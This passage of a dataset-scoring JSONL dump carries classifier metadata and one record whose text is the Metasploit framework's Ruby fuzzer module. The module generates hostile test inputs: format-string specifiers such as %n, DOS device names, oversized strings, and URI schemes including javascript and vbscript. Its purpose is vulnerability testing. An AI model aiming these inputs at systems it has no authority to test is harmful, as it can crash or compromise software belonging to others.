0.0009015002265899826}, "factual_density": {"0": 0.009259413755548583, "1": 0.01878880771124114, "2": 0.10972419258641605, "3": 0.3836078041374628, "4": 0.47861978180933146}, "pretraining_utility": {"-2": 0.012546259565487189, "-1": 0.14722713885606353, "0": 0.4599863404010211, "1": 0.3331867824872395, "2": 0.04705347869018872}, "math_density": {"0": 0.9538089939571923, "1": 0.03322399479315918, "2": 0.007715080685554025, "3": 0.0020837860709250295, "4": 0.0031681444931694175}, "code_density": {"0": 0.00030365858402842604, "1": 0.0006767724968831688, "2": 0.026505080960071495, "3": 0.187089617181729, "4": 0.785424870777288}, "reasoning_density": {"0": 0.8376044251868802, "1": 0.07323032156570375, "2": 0.07555389274442181, "3": 0.010004468733079589, "4": 0.0036068917699147228}, "education_level": {"none": 0.001539929277480175, "0": 0.001536237999386495, "1": 0.013977112263984673, "2": 0.7300147996219819, "3": 0.2347276770377354, "4": 0.01820424379943146}, "creative_writing_quality": {"not_applicable": 0.9994467351732649, "-2": 9.610649171617328e-05, "-1": 0.0001386490992923837, "0": 0.00024066273855676652, "1": 5.514051979883545e-05, "2": 2.2705977370907745e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.598282502661987e-05, "Art & Design": 0.00012567950041038749, "Law & Crime": 0.00033666054480531183, "Education & Careers": 0.00010668279681676737, "Entertainment & Media": 7.540040051737041e-05, "Fashion & Beauty": 8.459783532631199e-05, "Business, Economics & Finance": 0.035482867019427454, "Food & Dining": 0.00012857710826445423, "Games & Gaming": 0.00015020837227541894, "Electronics & Hardware": 0.00013675075897543083, "Health, Healthcare & Wellness": 0.00014012227060435713, "History & Geography": 0.00014411878105408284, "Home, Pets & Hobbies": 7.49791256621642e-05, "Industry & Production": 0.002241974520641566, "Language, Literature & Philosophy": 9.032624062035594e-05, "Politics & Government": 0.0005180990529287164, "Religion & Spirituality": 0.00011186526986189551, "Science, Mathematics & Engineering": 0.00020517808676498065, "Relationships & Community": 4.95769189739931e-05, "Software Usage & Applications": 0.0006344783496079703, "Programming & Software Engineering": 0.9572333303311563, "Sports & Fitness": 9.195610216465437e-05, "Vehicles & Transportation": 5.4594897447210614e-05, "Travel & Tourism": 8.93872989813033e-05, "Other / Uncovered Subject": 0.0014011218630641522, "Unknown / Insufficient Content": 0.00023548372862064313}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007546239200487754, "Art & Design": 0.0009812830361136963, "Law & Crime": 0.0023544100650058474, "Education & Careers": 0.0006093450814459893, "Entertainment & Media": 0.0007050984546172023, "Fashion & Beauty": 0.0005530508487690486, "Business, Economics & Finance": 0.3815115938453215, "Food & Dining": 0.0005690564236646813, "Games & Gaming": 0.0007673676541493597, "Electronics & Hardware": 0.0006893684543141066, "Health, Healthcare & Wellness": 0.0008888637204761951, "History & Geography": 0.0008076680606411347, "Home, Pets & Hobbies": 0.00046404166834935134, "Industry & Production": 0.0020922960029408667, "Language, Literature & Philosophy": 0.000506617246170603, "Politics & Government": 0.0013711984311243481, "Religion & Spirituality": 0.0007259497361219419, "Science, Mathematics & Engineering": 0.0006720625485711549, "Relationships & Community": 0.0003002796042608232, "Software Usage & Applications": 0.002864498493407435, "Programming & Software Engineering": 0.048314657881226776, "Sports & Fitness": 0.00036947986891864773, "Vehicles & Transportation": 0.00029598500795895947, "Travel & Tourism": 0.000597221439206628, "Other / Uncovered Subject": 0.0028185116415204315, "NONE": 0.5474154708656546}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999996, "mass_delta": -4.440892098500626e-16, "missing_mass": 4.440892098500626e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10418, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10418, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:29:17.044055+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "af1fcd28-23ef-4a47-8fb6-a23739ac5225", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "73c3f776e95ed8a4ab87d0fc6aed61227281e8174b78d49bbe1ee3660dda92ad", "source_metadata": {"uuid": "af1fcd28-23ef-4a47-8fb6-a23739ac5225", "repo_name": "matiasbattocchia/panel-on-rails", "relative_path": "app/controllers/companies_controller.rb", "category": "WEB", "algo_rel_score": 0.9566749334335327, "quality_score": 4.04052209854126, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 2, "repo_created_at": "2015-05-26T14:50:54.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "adcc4a9f80b2bdb2bbe97ddff80e5d525ad40c28", "size_bytes": 5750, "file_timestamp": 1432651487, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "06d771ac5c2afa1c7e99160d8b000995520ad982"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 2, "repo_created_at": "2015-05-26T14:50:54.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "adcc4a9f80b2bdb2bbe97ddff80e5d525ad40c28", "size_bytes": 5750, "file_timestamp": 1432651487, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "06d771ac5c2afa1c7e99160d8b000995520ad982", "url": "https://github.com/matiasbattocchia/panel-on-rails/blob/06d771ac5c2afa1c7e99160d8b000995520ad982/app/controllers/companies_controller.rb"}, "gpt4o_tokens": 1660, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.6322356414932258, "noise_severity": 0.12451246842271717, "missing_content_severity": 0.15425435791423253, "factual_density": 3.3035397325337876, "pretraining_utility": 0.254974081880579, "math_density": 0.06757809234971998, "code_density": 3.756655269071365, "reasoning_density": 0.26877908033344505, "education_level": 2.254478455197487, "creative_writing_quality": -0.41627372110962707}, "score_applicability": {"education_level": 0.99846007072252, "creative_writing_quality": 0.0005532648267350667}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/OpenWireSec/metasploit/blob/199956be7cdc22aa7a4ed00ed07283af54afc370/lib/msf/core/auxiliary/fuzzer.rb", "id": "ruby-0-e57eab8c5e482a1cee48d8b80dcce523", "text": "# -*- coding: binary -*-\nmodule Msf\n\n###\n#\n# This module provides methods useful for developing fuzzers\n#\n###\nmodule Auxiliary::Fuzzer\n\n\t#\n\t# Creates an instance of a fuzzer module\n\t#\n\tdef initialize(info = {})\n\t\tsuper\n\t\tregister_advanced_options([\n\t\t\tOptString.new('FuzzTracer', [ true, 'Sets the magic string to embed into fuzzer string inputs', 'MSFROCKS']),\n\t\t\tOptString.new('FuzzChar', [ true, 'Sets the character to use for generating long strings', 'X'])\n\t\t], Msf::Auxiliary::Fuzzer)\n\tend\n\n\n\t#\n\t# Self-reflective iterators\n\t#\n\tdef fuzz_numbers\n\t\tres = []\n\t\tself.methods.sort.grep(/^fuzzer_number/).each do |m|\n\t\t\t@last_fuzzer_input = m\n\t\t\tblock_given? ? self.send(m) {|x| yield(x) } : (res << self.send(m))\n\t\tend\n\t\tres\n\tend\n\n\tdef fuzz_strings\n\t\tres = []\n\t\tself.methods.sort.grep(/^fuzzer_string/).each do |m|\n\t\t\t@last_fuzzer_input = m\n\t\t\tblock_given? ? self.send(m) {|x| yield(x) } : (res << self.send(m))\n\t\tend\n\t\tres\n\tend\n\n\t#\n\t# General input mangling routines\n\t#\n\n\t# Modify each byte of the string moving forward\n\tdef fuzz_string_corrupt_byte(str,max=nil)\n\t\tres = []\n\t\t0.upto(max ? [max,str.length-1].min : (str.length - 1)) do |offset|\n\t\t\t0.upto(255) do |val|\n\t\t\t\t@last_fuzzer_input = \"fuzz_string_corrupt_byte offset:#{offset}/#{str.length} byte:#{val}\"\n\t\t\t\tbuf = str.dup\n\t\t\t\tbuf[offset,1] = [val].pack('C')\n\t\t\t\tblock_given? ? yield(buf) : (res << buf)\n\t\t\tend\n\t\tend\n\t\tres\n\tend\n\n\t# Modify each byte of the string moving backward\n\tdef fuzz_string_corrupt_byte_reverse(str,max=nil)\n\t\tres = []\n\t\t(max ? [max,str.length-1].min : (str.length - 1)).downto(0) do |offset|\n\t\t\t0.upto(255) do |val|\n\t\t\t\t@last_fuzzer_input = \"fuzz_string_corrupt_byte_reverse offset:#{offset}/#{str.length} byte:#{val}\"\n\t\t\t\tbuf = str.dup\n\t\t\t\tbuf[offset,1] = [val].pack('C')\n\t\t\t\tblock_given? ? yield(buf) : (res << buf)\n\t\t\tend\n\t\tend\n\t\tres\n\tend\n\n\t#\n\t# Useful generators (many derived from AxMan)\n\t#\n\n\tdef fuzzer_string_format\n\t\tres = %W{ %s %p %n %x %@ %.257d %.65537d %.2147483648d %.257f %.65537f %.2147483648f}\n\t\tblock_given? ? res.each { |n| yield(n) } : res\n\tend\n\n\tdef fuzzer_string_filepath_dos\n\t\tres = %W{ aux con nul com1 com2 com3 com4 lpt1 lpt2 lp3 lpt4 prn }\n\t\tblock_given? ? res.each { |n| yield(n) } : res\n\tend\n\n\tdef fuzzer_number_power2\n\t\tres = [\n\t\t\t0x100000000,\n\t\t\t0x80000000,\n\t\t\t0x40000000,\n\t\t\t0x20000000,\n\t\t\t0x10000000,\n\t\t\t0x01000000,\n\t\t\t0x00100000,\n\t\t\t0x00010000,\n\t\t\t0x00001000,\n\t\t\t0x00000100,\n\t\t\t0x00000010,\n\t\t\t0x00000001\n\t\t]\n\t\tblock_given? ? res.each { |n| yield(n) } : res\n\tend\n\n\tdef fuzzer_number_power2_plus\n\t\tres = []\n\t\tfuzzer_number_power2 do |num|\n\t\t\tres << num + 1\n\t\t\tres << num + 2\n\t\t\tres << num - 1\n\t\t\tres << num - 2\n\t\t\tres << num * -1\n\t\t\tres << (num + 1) * -1\n\t\t\tres << (num + 2) * -1\n\t\tend\n\t\tblock_given? ? res.each { |n| yield(n) } : res\n\tend\n\n\tdef fuzzer_gen_string(len)\n\t\t@gen_string_block ||= datastore['FuzzChar'][0,1] * (1024 * 512)\n\t\tres = ''\n\t\twhile (res.length < len)\n\t\t\tres += @gen_string_block\n\t\tend\n\t\tres[0,len]\n\tend\n\n\tdef fuzzer_string_small\n\t\tres = []\n\t\t16.step(512,16) do |len|\n\t\t\tbuf = fuzzer_gen_string(len)\n\t\t\tblock_given? ? yield(buf) : (res << buf)\n\t\tend\n\t\tres\n\tend\n\n\tdef fuzzer_string_long\n\t\tres = []\n\t\t64.step(8192,64) do |len|\n\t\t\tbuf = fuzzer_gen_string(len)\n\t\t\tbuf[len / 2, datastore['FuzzTracer'].length] = datastore['FuzzTracer']\n\t\t\tblock_given? ? yield(buf) : (res << buf)\n\t\tend\n\t\tres\n\tend\n\n\tdef fuzzer_string_giant\n\t\tres = []\n\t\t512.step(65532 * 2, 512) do |len|\n\t\t\tbuf = fuzzer_gen_string(len)\n\t\t\tbuf[len / 2, datastore['FuzzTracer'].length] = datastore['FuzzTracer']\n\t\t\tblock_given? ? yield(buf) : (res << buf)\n\t\tend\n\t\tres\n\tend\n\n\tdef fuzzer_string_uri_types\n\t\tres = %W{\n\t\t\taaa aaas about acap adiumxtra afp aim apt aw bolo callto cap chrome cid\n\t\t\tcontent crid cvs data dav designates dict disk dns doi ed2k example examples\n\t\t\tfax feed file finger fish ftp gg gizmoproject go gopher h323 hcp http https\n\t\t\tiax2 icap im imap info ipp irc ircs iris iris.beep iris.lws iris.xpc iris.xpcs\n\t\t\titms jar javascript keyparc lastfm ldap ldaps lsid magnet mailto mid mms modem\n\t\t\tms-help msnim msrp msrps mtqp mupdate mvn news nfs nntp notes opaquelocktoken\n\t\t\tover pop pres prospero psyc res rlogin rmi rsync rtsp secondlife service sftp\n\t\t\tsgn shell shttp sip sips skype smb sms snews snmp soap.beep soap.beeps soldat\n\t\t\tssh steam svn tag teamspeak tel telephone telnet tftp thismessage tip tv unreal\n\t\t\turn ut2004 vbscript vemmi ventrilo view-source wais webcal worldwind wtai wyciwyg\n\t\t\twysiwyg xfire xmlrpc.beep xmpp xri ymsgr z39.50r z39.50s\n\t\t}\n\t\tblock_given? ? res.each { |n| yield(n) } : res\n\tend\n\n\tdef fuzzer_string_uri_dividers\n\t\tres = %W{ : :// }\n\t\tblock_given? ? res.each { |n| yield(n) } : res\n\tend\n\n\tdef fuzzer_string_path_prefixes\n\t\tres = %W{ C:\\\\ \\\\\\\\localhost\\\\ / }\n\t\tblock_given? ? res.each { |n| yield(n) } : res\n\tend\n\n\tdef fuzzer_string_uris_small\n\t\tres = []\n\t\tfuzzer_string_uri_types do |proto|\n\t\t\tfuzzer_string_uri_dividers do |div|\n\t\t\t\tfuzzer_string_small do |str|\n\t\t\t\t\tbuf = proto + div + str\n\t\t\t\t\tblock_given? ? yield(buf) : (res << buf)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tres\n\tend\n\n\tdef fuzzer_string_uris_long\n\t\tres = []\n\t\tfuzzer_string_uri_types do |proto|\n\t\t\tfuzzer_string_uri_dividers do |div|\n\t\t\t\tfuzzer_string_long do |str|\n\t\t\t\t\tbuf = proto + div + str\n\t\t\t\t\tblock_given? ? yield(buf) : (res << buf)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tres\n\tend\n\n\tdef fuzzer_string_uris_giant\n\t\tres = []\n\t\tfuzzer_string_uri_types do |proto|\n\t\t\tfuzzer_string_uri_dividers do |div|\n\t\t\t\tfuzzer_string_giant do |str|\n\t\t\t\t\tbuf = proto + div + str\n\t\t\t\t\tblock_given? ? yield(buf) : (res << buf)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tres\n\tend\n\n\tdef fuzzer_string_uris_format\n\t\tres = []\n\t\tfuzzer_string_uri_types do |proto|\n\t\t\tfuzzer_string_uri_dividers do |div|\n\t\t\t\tfuzzer_string_format do |str|\n\t\t\t\t\tbuf = proto + div + str\n\t\t\t\t\tblock_given? ? yield(buf) : (res << buf)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tres\n\tend\n\n\tdef fuzzer_string_uris_dos\n\t\tres = []\n\t\tfuzzer_string_uri_types do |proto|\n\t\t\tfuzzer_string_uri_dividers do |div|\n\t\t\t\tfuzzer_string_filepath_dos do |str|\n\t\t\t\t\tbuf = proto + div + str\n\t\t\t\t\tblock_given? ? yield(buf) : (res << buf)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tres\n\tend\n\n\tdef fuzzer_string_paths_small\n\t\tres = []\n\t\tfuzzer_string_path_prefixes do |pre|\n\t\t\tfuzzer_string_small do |str|\n\t\t\t\tbuf = pre + str\n\t\t\t\tblock_given? ? yield(buf) : (res << buf)\n\t\t\tend\n\t\tend\n\t\tres\n\tend\n\n\tdef fuzzer_string_paths_long\n\t\tres = []\n\t\tfuzzer_string_path_prefixes do |pre|\n\t\t\tfuzzer_string_long do |str|\n\t\t\t\tbuf = pre + str\n\t\t\t\tblock_given? ? yield(buf) : (res << buf)\n\t\t\tend\n\t\tend\n\t\tres\n\tend\n\n\tdef fuzzer_string_paths_giant\n\t\tres = []\n\t\tfuzzer_string_path_prefixes do |pre|\n\t\t\tfuzzer_string_giant do |str|\n\t\t\t\tbuf = pre + str\n\t\t\t\tblock_given? ? yield(buf) : (res << buf)\n\t\t\tend\n\t\tend\n\t\tres\n\tend\n\n\tdef fuzzer_string_paths_format\n\t\tres = []\n\t\tfuzzer_string_path_prefixes do |pre|\n\t\t\tfuzzer_string_format do |str|\n\t\t\t\tbuf = pre + str\n\t\t\t\tblock_given? ? yield(buf) : (res << buf)\n\t\t\tend\n\t\tend\n\t\tres\n\tend\n\n\tdef fuzzer_string_paths_dos\n\t\tres = []\n\t\tfuzzer_string_path_prefixes do |pre|\n\t\t\tfuzzer_string_filepath_dos do |str|\n\t\t\t\tbuf = pre + str\n\t\t\t\tblock_given? ? yield(buf) : (res << buf)\n\t\t\tend\n\t\tend\n\t\tres\n\tend\n\nend\nend\n", "text_preview": "# -*- coding: binary -*- module Msf ### # # This module provides methods useful for developing fuzzers # ### module Auxiliary::Fuzzer # # Creates an instance of a fuzzer module # def initialize(info = {}) super register_advanced_options([ O", "input_sha256": "17631679b026c1605810f2c0ddcece57a3d08ed894530a98b05a824682756a6f", "text_sha256": "e57eab8c5e482a1cee48d8b80dcce523c1a9f6df50123dd353333e1397b5b42d", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16012, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.1364309792191338, "noise_severity": 0.06131427481734361, "missing_content_severity": 0.009741843324070727, "factual_density": 3.0640804277230362, "pretraining_utility": 0.3829355432298138, "math_density": 0.7352622322301596, "code_density": 3.881315724792634, "reasoning_density": 0.07209027548593057, "education_level": 2.7056304315207673, "creative_writing_quality": -0.1699190102838541}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.02332035317180947, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.995597298274326, "secondary": 0.9495394068516331, "tertiary": 0.9738736884222169, "structured_records": 0.15331975645876209, "procedural_steps": 0.002595993391534781, "worked_solution": 0.0009469692121358563, "contextual_dialogue": 5.719143450650615e-06, "content_quality": 0.5766611708721672, "noise_severity": 0.9489047709855469, "missing_content_severity": 0.9918817972299411, "factual_density": 0.46024830132785965, "pretraining_utility": 0.4271224162655868, "math_density": 0.3872814731415334, "code_density": 0.9010964373271952, "reasoning_density": 0.9399247704283912, "education_level": 0.3133583901043275, "creative_writing_quality": 0.9989069548995451, "primary_topic": 0.9857246560001081, "secondary_topic": 0.8595742859628694}, "probability_margin": {"primary": 0.993978908459844, "secondary": 0.9272251479022069, "tertiary": 0.9621900478969708, "education_level": 0.005187183149536312, "creative_writing_quality": 0.9986496862535532, "primary_topic": 0.9799229125736186, "secondary_topic": 0.8078537415856543}, "raw_probabilities": {"primary": {"Academic Writing": 4.0972899904782874e-05, "Content Listing": 2.9633098079604767e-05, "Creative Writing": 1.5871501693729672e-05, "Customer Support Page": 1.0044753377397192e-05, "Q&A Forum": 1.088900652620101e-05, "Discussion Thread": 9.150091981922139e-06, "Comment Section": 1.057592646974059e-05, "Missing Content": 2.3804119971145293e-05, "Knowledge Article": 0.00012386923875390584, "Legal Notices": 2.6062445382500952e-05, "News Article": 4.617594172660589e-06, "Organizational Announcement": 1.16878374147197e-05, "Nonfiction Writing": 1.3293031630238083e-05, "Organizational About Page": 1.2167559053106521e-05, "Personal About Page": 8.817933931712136e-06, "Personal Blog": 7.044299799002875e-06, "Product Page": 7.432511956773648e-06, "Spam / Ads": 1.0271147682155337e-05, "Structured Data": 0.0015134348733392624, "Technical Writing": 0.9957807441795624, "Transcript / Interview": 1.6970433345916736e-05, "Tutorial / How-To Guide": 0.0005048067441873623, "User Reviews": 6.00305206530764e-06, "Other / Unknown": 0.0018018357197183705}, "secondary": {"Academic Writing": 0.0002572998313514418, "Content Listing": 0.00019213658208451712, "Creative Writing": 0.00015835313311923525, "Customer Support Page": 0.00010513682392759903, "Q&A Forum": 7.946443666073357e-05, "Discussion Thread": 7.501661051978837e-05, "Comment Section": 0.0001363173054544311, "Missing Content": 0.00036506783356225574, "Knowledge Article": 0.0015123634312589884, "Legal Notices": 0.00029818652508340355, "News Article": 0.00010783545298973093, "Organizational Announcement": 0.0001048925586415694, "Nonfiction Writing": 0.00012079722046474047, "Organizational About Page": 0.00013266922287115423, "Personal About Page": 8.45778770403423e-05, "Personal Blog": 8.736283836515092e-05, "Product Page": 6.477900304870621e-05, "Spam / Ads": 0.00011515003890515137, "Structured Data": 0.024416783663941545, "Technical Writing": 0.018755468977214366, "Transcript / Interview": 0.00012456869759199294, "Tutorial / How-To Guide": 0.0010183628802824165, "User Reviews": 4.5477489472429864e-05, "NONE": 0.9516419315661484}, "tertiary": {"Academic Writing": 0.00014741396753121456, "Content Listing": 0.0001223878127927762, "Creative Writing": 9.391305921806118e-05, "Customer Support Page": 5.5576733696681776e-05, "Q&A Forum": 3.653244919518742e-05, "Discussion Thread": 3.4702233050412214e-05, "Comment Section": 0.00010434117555744907, "Missing Content": 0.00025272055344703105, "Knowledge Article": 0.001177121221576196, "Legal Notices": 0.00019664879355004686, "News Article": 5.2761048057676035e-05, "Organizational Announcement": 5.10959835026128e-05, "Nonfiction Writing": 7.954647400839529e-05, "Organizational About Page": 8.700278114115365e-05, "Personal About Page": 4.036227709702317e-05, "Personal Blog": 4.3116740566373686e-05, "Product Page": 3.5681939065415265e-05, "Spam / Ads": 7.815050086738484e-05, "Structured Data": 0.012772236840987012, "Technical Writing": 0.00855920379400383, "Transcript / Interview": 5.5382952112838995e-05, "Tutorial / How-To Guide": 0.0009405310790506057, "User Reviews": 2.1284851966778415e-05, "NONE": 0.9749622847379579}, "structured_records": {"false": 0.8466802435412379, "true": 0.15331975645876209}, "procedural_steps": {"false": 0.9974040066084652, "true": 0.002595993391534781}, "worked_solution": {"false": 0.9990530307878641, "true": 0.0009469692121358563}, "contextual_dialogue": {"false": 0.9999942808565494, "true": 5.719143450650615e-06}, "content_quality": {"-2": 0.0039554799098106, "-1": 0.010964029126273573, "0": 0.15199330988515394, "1": 0.5108683939924954, "2": 0.32221878708626656}, "noise_severity": {"0": 0.9459458550956664, "1": 0.04899956660651903, "2": 0.0034979141388220393, "3": 0.0009077767027894797, "4": 0.0006488874562030159}, "missing_content_severity": {"0": 0.9947998231201678, "1": 0.0019338814664711552, "2": 0.0022120368395998633, "3": 0.0008331461166454459, "4": 0.0002211124571158773}, "factual_density": {"0": 0.008731871676548405, "1": 0.04318881548398639, "2": 0.1792375593441482, "3": 0.41295052043051483, "4": 0.3558912330648022}, "pretraining_utility": {"-2": 0.013715222093050448, "-1": 0.12482833443964013, "0": 0.40357497510629453, "1": 0.3805686148664751, "2": 0.07731285349453988}, "math_density": {"0": 0.5349651014102451, "1": 0.3169252004488203, "2": 0.07507537705211735, "3": 0.023951006678164778, "4": 0.049083314410652626}, "code_density": {"0": 0.00026452584145021294, "1": 0.000501952400161361, "2": 0.00935475856686884, "3": 0.09741079750734308, "4": 0.8924679656841765}, "reasoning_density": {"0": 0.9573852844310938, "1": 0.022798119607513607, "2": 0.013172072165463887, "3": 0.003630083636225961, "4": 0.003014440159702831}, "education_level": {"none": 0.0010401476666608458, "0": 0.0012713977119616175, "1": 0.004972011061063239, "2": 0.4226114752707366, "3": 0.4277986584202729, "4": 0.14230630986930476}, "creative_writing_quality": {"not_applicable": 0.9990891290829542, "-2": 0.00010035935090639334, "-1": 0.00018987134447809285, "0": 0.00043944282940100806, "1": 0.00012657902295034628, "2": 5.461836930988824e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.907443633697837e-05, "Art & Design": 5.0706545034644945e-05, "Law & Crime": 0.006350795118793044, "Education & Careers": 4.442431895418874e-05, "Entertainment & Media": 4.2839625183454554e-05, "Fashion & Beauty": 4.451184918173722e-05, "Business, Economics & Finance": 5.7348527649723035e-05, "Food & Dining": 3.2408841324045924e-05, "Games & Gaming": 8.897290061199797e-05, "Electronics & Hardware": 0.00011337020024350532, "Health, Healthcare & Wellness": 3.803671027115232e-05, "History & Geography": 4.272691164563223e-05, "Home, Pets & Hobbies": 3.3786974632683185e-05, "Industry & Production": 3.3251817383262404e-05, "Language, Literature & Philosophy": 4.58477008922728e-05, "Politics & Government": 2.610467888700111e-05, "Religion & Spirituality": 3.666658352253887e-05, "Science, Mathematics & Engineering": 0.0010483345102891245, "Relationships & Community": 2.297964414082563e-05, "Software Usage & Applications": 0.0006749190033763047, "Programming & Software Engineering": 0.9862737076924116, "Sports & Fitness": 6.89399199762298e-05, "Vehicles & Transportation": 2.170746716184835e-05, "Travel & Tourism": 6.226997107828802e-05, "Other / Uncovered Subject": 0.004591631399326731, "Unknown / Insufficient Content": 8.463665169113753e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007957433708248862, "Art & Design": 0.0004427148208911153, "Law & Crime": 0.057121533378643195, "Education & Careers": 0.000375584066395125, "Entertainment & Media": 0.00048685792130568955, "Fashion & Beauty": 0.00029545383393983114, "Business, Economics & Finance": 0.0005430096215660966, "Food & Dining": 0.00021492223033206488, "Games & Gaming": 0.00040645579119426837, "Electronics & Hardware": 0.0004674756409498792, "Health, Healthcare & Wellness": 0.00031961138899426505, "History & Geography": 0.0002765994157227091, "Home, Pets & Hobbies": 0.00023800864520321968, "Industry & Production": 0.0001985698297399015, "Language, Literature & Philosophy": 0.00024579873628775904, "Politics & Government": 0.0002783891642746801, "Religion & Spirituality": 0.00035817126943656606, "Science, Mathematics & Engineering": 0.0014746222765319634, "Relationships & Community": 0.00015880844821284575, "Software Usage & Applications": 0.004807510346103112, "Programming & Software Engineering": 0.05552827337891964, "Sports & Fitness": 0.0003261909700412817, "Vehicles & Transportation": 0.00012651862376132845, "Travel & Tourism": 0.00046527292570126946, "Other / Uncovered Subject": 0.00907262894072996, "NONE": 0.8649752749642975}}, "probabilities": {"primary": {"Academic Writing": 4.097289990478288e-05, "Content Listing": 2.963309807960477e-05, "Creative Writing": 1.5871501693729675e-05, "Customer Support Page": 1.0044753377397194e-05, "Q&A Forum": 1.0889006526201012e-05, "Discussion Thread": 9.15009198192214e-06, "Comment Section": 1.0575926469740592e-05, "Missing Content": 2.3804119971145297e-05, "Knowledge Article": 0.00012386923875390586, "Legal Notices": 2.6062445382500956e-05, "News Article": 4.61759417266059e-06, "Organizational Announcement": 1.1687837414719702e-05, "Nonfiction Writing": 1.3293031630238084e-05, "Organizational About Page": 1.2167559053106523e-05, "Personal About Page": 8.817933931712138e-06, "Personal Blog": 7.044299799002876e-06, "Product Page": 7.432511956773649e-06, "Spam / Ads": 1.0271147682155339e-05, "Structured Data": 0.0015134348733392626, "Technical Writing": 0.9957807441795625, "Transcript / Interview": 1.697043334591674e-05, 